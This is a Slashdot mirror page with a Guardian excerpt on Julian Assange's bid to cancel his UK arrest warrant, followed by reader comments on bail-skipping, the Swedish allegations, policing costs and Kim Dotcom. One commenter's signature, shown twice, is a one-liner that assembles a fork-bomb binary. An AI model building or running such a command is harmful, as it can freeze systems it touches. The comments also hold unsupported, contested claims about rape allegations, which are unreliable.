Slashdot Mirror
WikiLeaks' Julian Assange Asks UK Judge to Drop His Arrest Warrant (theguardian.com)
An anonymous reader quotes the Guardian:
WikiLeaks founder, Julian Assange, has asked a UK court to drop the arrest warrant that prevents him from leaving the Ecuadorian embassy in London, where he has been living for five and a half years. Assange, 46, skipped bail to enter the embassy in 2012 in order to avoid extradition to Sweden over allegations of sexual assault and rape, which he denies... Mark Summers QC told senior district judge Emma Arbuthnot at Westminster magistrates court on Friday that now that the Swedish case had been dropped the warrant had "lost its purpose and its function". He said because Swedish extradition proceedings against Assange had come to an end, so had the life of the arrest warrant... Arbuthnot said she would give her judgment about the arrest warrant on 6 February.
Judge Arbuthnot said she'd rule only on the legal issue, though the court had also received evidence about medical problems which included "a terrible bad tooth, frozen shoulder and depression."
Representing the Crown Prosecution Service, Aaron Watkins it would be absurd for defendants to be "rewarded with effective immunity" simply for having evaded proceedings for long enough.
Judge Arbuthnot said she'd rule only on the legal issue, though the court had also received evidence about medical problems which included "a terrible bad tooth, frozen shoulder and depression."
Representing the Crown Prosecution Service, Aaron Watkins it would be absurd for defendants to be "rewarded with effective immunity" simply for having evaded proceedings for long enough.
He skipped bail, that is what the arrest warrant is for in the UK. It is nothing to do with extradition, it is nothing to do with the now discontinued EAW.
I only please one person per day. Today is not your day. Tomorrow isn't looking good either. - Scott Adams
to be fair the charges against him were a thinly veiled attempt to extradite him to the US. It has very little to do about breaking the law.
The UK arrest warrant has nothing to do with the European Arrest Warrant. The UK one is for skipping bail. It doesn't matter whether or not the Swedish government is still pursuing him, he has committed a crime in the UK which is an arrestable offence regardless of his innocence of the charge he was facing.
I only please one person per day. Today is not your day. Tomorrow isn't looking good either. - Scott Adams
Oh I agree. My point is that people saying he 'was in Ecuador' are wrong. He was in the UK. I actually thought embassies were the territory of the country who run them but it turns out that is not the case
The UK can't easily[1] arrest him in the Ecuadorian embassy but he's still in the UK.
And he skipped bail, which is illegal. So if he came out he'd be immediately arrested.
[1] There are various ways it could arrest him, but they probably mean severing diplomatic relations with Ecuador which the UK government in unwilling to do. In practice unless the embassy is closed and all the diplomats expelled he's probably safe from arrest. However accepting that is not the same as accepting that he can leave without being arrested.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Of course there is that part where the so called "rape charges" where absolute bullshit.
Not true
https://www.newstatesman.com/d...
One: "The allegation of rape would not be rape under English law"
This is flatly untrue. The Assange legal team argued this twice before English courts, and twice the English courts ruled clearly that the allegation would also constitute rape under English law.
(See my post at Jack of Kent for further detail on this.)
http://jackofkent.com/2012/06/...
The Magistrates' Court ruled (emphasis added):
The position with offence 4 is different. This is an allegation of rape. The framework list is ticked for rape. The defence accepts that normally the ticking of a framework list offence box on an EAW would require very little analysis by the court. However they then developed a sophisticated argument that the conduct alleged here would not amount to rape in most European countries. However, what is alleged here is that Mr Assange "deliberately consummated sexual intercourse with her by improperly exploiting that she, due to sleep, was in a helpless state". In this country that would amount to rape.
Just for the record, be very careful with women if you visit Sweden. Pressing false rape-charges is apparently a thing these days, even if you're not famous.
Bullshit. I've been to Sweden and dated women there. So long as you don't rape anyone you'll won't be charged with rape. What got Assange on trouble was that he was dating someone who consented to sex with a condom. They slept in the same bed. He woke her up having sex without a condom. She wanted him to get an aids test. He refused. She went to the police. He got charged with rape. And the UK courts ruled that since what he did in Sweden would count as rape if he had done it in the UK, he could be extradited. Then he skipped bail.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
It's costing us, the UK tax payer, about £10k per day for the policing. Quite frankly, it's a colossal waste of money at a time where the amount of public spending available cannot be pissed up the wall on something like this.
Part of that daily money would be better spent purchasing him a one way ticket to Ecuador, escorting him to Heathrow, onto the aeroplane and then waving him goodbye.
And then we can go back to spending that kind of money on far far more important things.
Avantslash - View Slashdot cleanly on your mobile phone.
Right, so all laws should be ignored.
What the fuck are you talking about? Is this the level you people have sunk to? Don't put words on other people's mouths.
Follow the laws of the region you're in. Period.
If you live in country A performing an activity that's legal where you live, don't expect country B to come after you because such activity is illegal in B's legal system. Why is this so difficult to understand?
Kim Dotcom, a naturalized New Zealand citizen who has never set foot on the USA, and who was running a business based in NZ, 100% compliant with NZ's laws, is targetted by the US because they didn't like what his business did. Not only that: they destroy his business, seize his assets, and now drag him in a legal battle that's taking him years and millions of dollars to fight.
How is this fair? The US is the world's biggest fucking bully. Just another corrupt regime. A big one.
My site